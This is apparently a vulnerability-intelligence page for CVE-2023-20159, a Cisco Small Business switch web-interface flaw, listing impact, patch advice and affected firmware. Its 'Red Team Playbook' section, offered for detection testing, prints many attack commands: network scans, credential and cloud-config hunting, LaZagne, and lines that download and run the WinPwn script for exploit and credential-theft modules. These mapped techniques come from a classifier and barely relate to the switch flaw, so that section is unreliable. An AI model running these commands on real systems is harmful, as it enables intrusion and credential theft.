CVE-2023-20159
Overview
The vulnerability arises from improper validation of HTTP requests processed by the web-based user interface of Cisco Small Business Smart and Managed Switches. Specifically, the web interface fails to correctly sanitize or verify input parameters, leading to memory corruption issues within the affected firmware components. This flaw exists in the web management service handling incoming requests, enabling exploitation through crafted network packets targeting the device's management interface.
Vulnerability Description
Multiple vulnerabilities in the web-based user interface of certain Cisco Small Business Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition or execute arbitrary code with root privileges on an affected device. These vulnerabilities are due to improper validation of requests that are sent to the web interface. For more information about these vulnerabilities, see the Details section of this advisory.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction or credentials, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N. Successful exploitation allows execution of arbitrary code with root privileges or causes a denial of service, potentially disrupting network operations and enabling full device compromise. This can lead to loss of network availability, unauthorized control over switch functions, and facilitate lateral movement within the enterprise environment.
Solution
Cisco has released security updates for the affected Small Business Smart and Managed Switches as detailed in their advisory (https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv). Administrators should apply the latest firmware versions provided by Cisco for the business_250 series switches, as specified in the advisory. No workarounds are listed; therefore, timely patching is the recommended remediation step to address these vulnerabilities.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (229)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Business 250-16p-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16p-2g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-16t-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-16t-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24fp-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24fp-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24p-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-24t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-24t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-24t-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48p-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48p-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48p-4x_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48pp-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48pp-4g_firmware:-:*:*:*:*:*:*:*
|
|
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Cisco | Business 250-48t-4g Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-48t-4x Firmware | N/A |
cpe:2.3:o:cisco:business_250-48t-4x_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8fp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8fp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8p-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8p-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8pp-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-d_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8pp-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8pp-e-2g_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8t-D Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-d_firmware:-:*:*:*:*:*:*:*
|
|
|
Cisco | Business 250-8t-E-2g Firmware | N/A |
cpe:2.3:o:cisco:business_250-8t-e-2g_firmware:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20159 |
| sec.cloudapps.cisco.com |
GitHub CVE
vendor-advisory
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sg-web-multi-S9g4Nkgv |